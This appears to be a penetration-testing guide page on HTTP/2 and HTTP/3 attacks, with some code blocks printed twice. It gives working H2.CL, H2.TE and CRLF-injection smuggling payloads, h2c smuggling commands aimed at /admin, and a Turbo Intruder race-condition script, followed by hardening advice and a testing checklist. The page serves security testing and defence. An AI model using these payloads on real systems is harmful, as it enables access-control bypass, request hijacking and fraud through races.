Exploitation A05

HTTP/2 & HTTP/3 Specific Attacks

HTTP/2's binary framing, multiplexing, and header compression introduce attack vectors that don't exist in HTTP/1.1. HTTP/3 (QUIC) adds UDP-based transport with its own security considerations.

Why This Matters

The request smuggling page covers HTTP/1.1 Content-Length / Transfer-Encoding desync only. HTTP/2 introduces entirely new smuggling primitives based on binary framing, pseudo-headers, and protocol downgrade. Many organizations proxy HTTP/2 to HTTP/1.1 backends — a prime smuggling surface.

Protocol Comparison

Feature HTTP/1.1 HTTP/2 HTTP/3
Transport TCP TCP + TLS QUIC (UDP + TLS 1.3)
Framing Text-based Binary frames Binary frames
Multiplexing No (pipelining, rarely used) Yes (streams) Yes (independent streams)
Header Compression None HPACK QPACK
Server Push No Yes (deprecated in Chrome) Yes (rarely used)
Smuggling Surface CL/TE desync H2→H1 downgrade, pseudo-headers Less studied, emerging

🛠️ Tools

Burp Suite (HTTP/2)

Native HTTP/2 support, Inspector tab shows pseudo-headers

h2csmuggler

HTTP/2 cleartext (h2c) smuggling tool

GitHub →

http2smugl

HTTP/2 request smuggling scanner

GitHub →

curl (HTTP/2 & /3)

curl --http2, curl --http3

nghttp2

HTTP/2 client/server library & tools

nghttp2.org →

Wireshark

HTTP/2 frame-level inspection with SSLKEYLOGFILE

1. HTTP/2 Request Smuggling (H2→H1 Desync)

When a front-end speaks HTTP/2 to clients but downgrades to HTTP/1.1 when forwarding to backends, the translation process creates smuggling opportunities. HTTP/2's binary framing means there's no ambiguity in message boundaries within H2 itself — the vulnerability arises in the downgrade translation.

H2→H1 Downgrade Proxy Topology

flowchart LR subgraph Internet C[Client / Attacker] end subgraph Edge["Front-End / CDN"] FE[Reverse Proxy — H2 Termination] end subgraph Backend["Internal Network"] BE[Backend Server — H1 Only] end C -- "H2 binary frames" --> FE FE -- "H1 text with CL/TE ambiguity" --> BE style FE fill:#1a1a2e,stroke:#00ff00,color:#00ff00 style BE fill:#1a1a2e,stroke:#ff6b6b,color:#ff6b6b style C fill:#1a1a2e,stroke:#06b6d4,color:#06b6d4

H2.CL Desync — Content-Length Mismatch During Downgrade

sequenceDiagram participant Atk as Attacker participant FE as Front-End (H2) participant BE as Backend (H1) Atk->>FE: H2 POST with CL:0 + smuggled body FE->>FE: H2 frame length includes full body FE->>BE: Downgrade to H1 with CL:0 header BE->>BE: Reads CL=0 bytes (empty body) Note over BE: Smuggled data left in buffer rect rgb(255, 107, 107, 0.1) Note over BE: Next request arrives on same connection BE->>BE: Prepends smuggled data to victim request end BE-->>Atk: Poisoned response or hijacked request

Warning

HTTP/2 request smuggling was disclosed by James Kettle (PortSwigger) in 2021. It affects reverse proxies that downgrade HTTP/2 connections to HTTP/1.1 backends — an extremely common architecture.

H2.CL Desync

http
# HTTP/2 request with mismatched Content-Length
# The front-end processes the H2 frame length (binary, unambiguous)
# But when downgrading to H1, it forwards the Content-Length header as-is

# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
content-length: 0

GET /admin HTTP/1.1
Host: target.com

# The H2 front-end sees the full body as part of one request
# The H1 backend sees Content-Length: 0, treats the rest as a NEW request
# Result: The "GET /admin" is processed as a separate request
# HTTP/2 request with mismatched Content-Length
# The front-end processes the H2 frame length (binary, unambiguous)
# But when downgrading to H1, it forwards the Content-Length header as-is

# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
content-length: 0

GET /admin HTTP/1.1
Host: target.com

# The H2 front-end sees the full body as part of one request
# The H1 backend sees Content-Length: 0, treats the rest as a NEW request
# Result: The "GET /admin" is processed as a separate request

H2.TE Desync

http
# HTTP/2 technically forbids Transfer-Encoding, but some front-ends
# still forward it during downgrade

# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com

# The H2 front-end ignores Transfer-Encoding (it uses frame lengths)
# After downgrade, the H1 backend processes Transfer-Encoding: chunked
# "0

" terminates the chunked body, smuggling the second request
# HTTP/2 technically forbids Transfer-Encoding, but some front-ends
# still forward it during downgrade

# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com

# The H2 front-end ignores Transfer-Encoding (it uses frame lengths)
# After downgrade, the H1 backend processes Transfer-Encoding: chunked
# "0

" terminates the chunked body, smuggling the second request

H2 Header Injection via CRLF

http
# HTTP/2 headers are binary — they CAN contain characters
# that would be invalid in HTTP/1.1 (like 
)
# During downgrade, these become header injections

# In Burp Suite (HTTP/2 Inspector), set a header value containing CRLF:
:method: GET
:path: /
:authority: target.com
header: value
Injected-Header: evil

GET /admin HTTP/1.1
Host: target.com

# After H2→H1 downgrade, the backend sees:
# header: value
# Injected-Header: evil
#
# GET /admin HTTP/1.1
# Host: target.com

# This is a powerful primitive for request smuggling and header injection
# HTTP/2 headers are binary — they CAN contain characters
# that would be invalid in HTTP/1.1 (like 
)
# During downgrade, these become header injections

# In Burp Suite (HTTP/2 Inspector), set a header value containing CRLF:
:method: GET
:path: /
:authority: target.com
header: value
Injected-Header: evil

GET /admin HTTP/1.1
Host: target.com

# After H2→H1 downgrade, the backend sees:
# header: value
# Injected-Header: evil
#
# GET /admin HTTP/1.1
# Host: target.com

# This is a powerful primitive for request smuggling and header injection

2. HTTP/2 Cleartext (h2c) Smuggling

h2c smuggling abuses the HTTP/1.1 Upgrade mechanism to establish HTTP/2 cleartext connections through reverse proxies that don't understand h2c. This can bypass access controls applied at the proxy layer.

bash
# h2c Upgrade smuggling — bypass reverse proxy access controls
# The proxy sees an Upgrade request and tunnels the connection
# without applying URL-based access controls to subsequent H2 requests

# Using h2csmuggler:
python3 h2csmuggler.py -x https://target.com/   --test  # Test if h2c upgrade is supported

# Smuggle a request to /admin (blocked at proxy, allowed via h2c):
python3 h2csmuggler.py -x https://target.com/   -X GET -l https://target.com/admin

# Manual h2c upgrade request:
curl -v --http2   -H "Upgrade: h2c"   -H "HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA"   -H "Connection: Upgrade, HTTP2-Settings"   https://target.com/

# If the proxy forwards the Upgrade, you get a direct H2 connection
# to the backend, bypassing proxy-layer WAF/ACL rules
# h2c Upgrade smuggling — bypass reverse proxy access controls
# The proxy sees an Upgrade request and tunnels the connection
# without applying URL-based access controls to subsequent H2 requests

# Using h2csmuggler:
python3 h2csmuggler.py -x https://target.com/   --test  # Test if h2c upgrade is supported

# Smuggle a request to /admin (blocked at proxy, allowed via h2c):
python3 h2csmuggler.py -x https://target.com/   -X GET -l https://target.com/admin

# Manual h2c upgrade request:
curl -v --http2   -H "Upgrade: h2c"   -H "HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA"   -H "Connection: Upgrade, HTTP2-Settings"   https://target.com/

# If the proxy forwards the Upgrade, you get a direct H2 connection
# to the backend, bypassing proxy-layer WAF/ACL rules

3. Single-Packet Attack (Race Conditions)

HTTP/2 multiplexing allows sending multiple requests in a single TCP packet, enabling precise race condition exploitation. All requests arrive at the server simultaneously, eliminating network jitter.

python
# Single-packet attack using Turbo Intruder (Burp extension)
# This sends 20+ requests in a single TCP packet for race condition exploitation

# Turbo Intruder script for single-packet attack:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=100,
                           pipeline=False,
                           engine=Engine.HTTP2)
    
    # Queue requests that should arrive simultaneously
    for i in range(20):
        engine.queue(target.req, gate='race1')
    
    # Open the gate — all requests sent in one packet
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
# Single-packet attack using Turbo Intruder (Burp extension)
# This sends 20+ requests in a single TCP packet for race condition exploitation

# Turbo Intruder script for single-packet attack:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=100,
                           pipeline=False,
                           engine=Engine.HTTP2)
    
    # Queue requests that should arrive simultaneously
    for i in range(20):
        engine.queue(target.req, gate='race1')
    
    # Open the gate — all requests sent in one packet
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
http
# Race condition targets worth testing with single-packet attack:

# 1. Coupon/discount code redemption
POST /api/apply-coupon HTTP/2
Content-Type: application/json
{"code": "DISCOUNT50"}

# 2. Rate-limited actions (password reset, OTP verification)
POST /api/verify-otp HTTP/2
Content-Type: application/json
{"otp": "123456"}

# 3. Balance/transfer operations
POST /api/transfer HTTP/2
Content-Type: application/json
{"to": "attacker", "amount": 100}

# 4. File/resource creation (race to create duplicate unique resources)
POST /api/claim-username HTTP/2
Content-Type: application/json
{"username": "admin"}
# Race condition targets worth testing with single-packet attack:

# 1. Coupon/discount code redemption
POST /api/apply-coupon HTTP/2
Content-Type: application/json
{"code": "DISCOUNT50"}

# 2. Rate-limited actions (password reset, OTP verification)
POST /api/verify-otp HTTP/2
Content-Type: application/json
{"otp": "123456"}

# 3. Balance/transfer operations
POST /api/transfer HTTP/2
Content-Type: application/json
{"to": "attacker", "amount": 100}

# 4. File/resource creation (race to create duplicate unique resources)
POST /api/claim-username HTTP/2
Content-Type: application/json
{"username": "admin"}

4. HTTP/3 & QUIC Considerations

Information

HTTP/3 attacks are an emerging research area. QUIC's UDP transport and mandatory TLS 1.3 change the attack surface significantly compared to TCP-based HTTP/2.
bash
# Detect HTTP/3 support
curl -sI https://target.com | grep -i alt-svc
# Look for: alt-svc: h3=":443"; ma=86400

# Test with HTTP/3 (requires curl built with HTTP/3 support)
curl --http3 -v https://target.com

# QUIC-specific considerations:
# 1. UDP-based — different firewall/IDS rules may apply
#    Some WAFs only inspect TCP traffic, missing QUIC entirely
# 2. Connection migration — QUIC connections survive IP changes
#    Could bypass IP-based rate limiting
# 3. 0-RTT resumption — replay attacks possible
#    Server must implement anti-replay for 0-RTT data

# Using quiche (Cloudflare's QUIC implementation) for testing:
cargo build --examples
./target/debug/examples/http3-client https://target.com/

# Nmap QUIC detection:
nmap -sU -p 443 --script=http3-supported target.com
# Detect HTTP/3 support
curl -sI https://target.com | grep -i alt-svc
# Look for: alt-svc: h3=":443"; ma=86400

# Test with HTTP/3 (requires curl built with HTTP/3 support)
curl --http3 -v https://target.com

# QUIC-specific considerations:
# 1. UDP-based — different firewall/IDS rules may apply
#    Some WAFs only inspect TCP traffic, missing QUIC entirely
# 2. Connection migration — QUIC connections survive IP changes
#    Could bypass IP-based rate limiting
# 3. 0-RTT resumption — replay attacks possible
#    Server must implement anti-replay for 0-RTT data

# Using quiche (Cloudflare's QUIC implementation) for testing:
cargo build --examples
./target/debug/examples/http3-client https://target.com/

# Nmap QUIC detection:
nmap -sU -p 443 --script=http3-supported target.com

QUIC Attack Surface

Attack Vector Description Impact
0-RTT Replay Replaying early data in QUIC 0-RTT handshakes Replay sensitive operations (transfers, state changes)
UDP Amplification QUIC initial packets may trigger amplified responses DDoS reflection/amplification
Connection Migration QUIC connections survive IP/port changes Bypass IP-based access controls
WAF Bypass WAFs that only inspect TCP miss QUIC traffic Unfiltered access to backend
QPACK Compression Similar to HPACK but less studied Potential CRIME-like attacks (theoretical)

🛡️ Remediation & Defense

Defensive Measures

HTTP/2 Hardening

  • • Use end-to-end HTTP/2 (avoid H2→H1 downgrade)
  • • Normalize or reject H2 requests with invalid headers during downgrade
  • • Strip Transfer-Encoding from H2 requests
  • • Validate Content-Length matches actual body in downgrade
  • • Disable h2c upgrades at the proxy (reject Upgrade: h2c)
  • • Apply access controls at backend, not just proxy

HTTP/3 & QUIC Hardening

  • • Implement anti-replay mechanisms for 0-RTT data
  • • Restrict 0-RTT to idempotent requests only
  • • Ensure WAF/IDS inspects QUIC traffic
  • • Apply rate limiting per connection ID, not just IP
  • • Validate connection migration tokens
  • • Set appropriate Alt-Svc max-age values

CWE References: CWE-444 (HTTP Request/Response Smuggling), CWE-436 (Interpretation Conflict), CWE-362 (Race Condition)

✅ HTTP/2 & HTTP/3 Testing Checklist

Protocol Detection
  • ☐ Identify H2 support (ALPN negotiation)
  • ☐ Check for H3/QUIC (Alt-Svc header)
  • ☐ Detect H2→H1 downgrade architecture
  • ☐ Test h2c upgrade support
H2 Smuggling
  • ☐ Test H2.CL desync
  • ☐ Test H2.TE desync
  • ☐ Test CRLF injection in H2 headers
  • ☐ Test pseudo-header manipulation
Advanced
  • ☐ Test single-packet race conditions
  • ☐ h2c smuggling for ACL bypass
  • ☐ 0-RTT replay testing
  • ☐ Check WAF UDP/QUIC inspection

Evidence Collection

H2 Smuggling Proof: Capture the raw HTTP/2 frames showing header manipulation (pseudo-header injection, CRLF in header values) and the resulting desynchronization at the backend — include both the h2 binary and the interpreted HTTP/1.1 request.

HPACK Injection: Document the compressed header table manipulation and its impact — show the injected header in the decoded HPACK output alongside the server's response indicating acceptance.

Multiplexing/Stream Abuse: Record the stream IDs, RST_STREAM timing, and concurrent request patterns used for rapid reset DoS or race condition exploitation via single-packet attacks.

h2c Upgrade Bypass: Demonstrate the cleartext HTTP/2 upgrade that bypasses TLS-terminating reverse proxies — capture the Upgrade: h2c header and the resulting unencrypted h2 connection accessing protected resources.

CVSS Range: 5.3 (DoS via stream abuse) – 9.8 (request smuggling via H2 desync leading to cache poisoning or request hijacking)

False Positive Identification

  • Protocol-Level vs Application: HTTP/2 rapid reset (CVE-2023-44487) is a server/library vulnerability, not an application vulnerability — verify whether the server has been patched before reporting.
  • h2c Not Supported: Most modern deployments disable cleartext HTTP/2 upgrades — confirm the server actually accepts the Upgrade: h2c header before claiming a bypass.
  • No Backend Desync: HTTP/2 to HTTP/1.1 translation by a reverse proxy may handle headers correctly — confirm actual request splitting at the backend, not just unusual proxy behavior.
  • 0-RTT Replay Already Mitigated: QUIC/HTTP/3 0-RTT replay is a known design trade-off — many servers only allow idempotent requests in 0-RTT, making replay harmless. Verify non-idempotent actions are actually affected.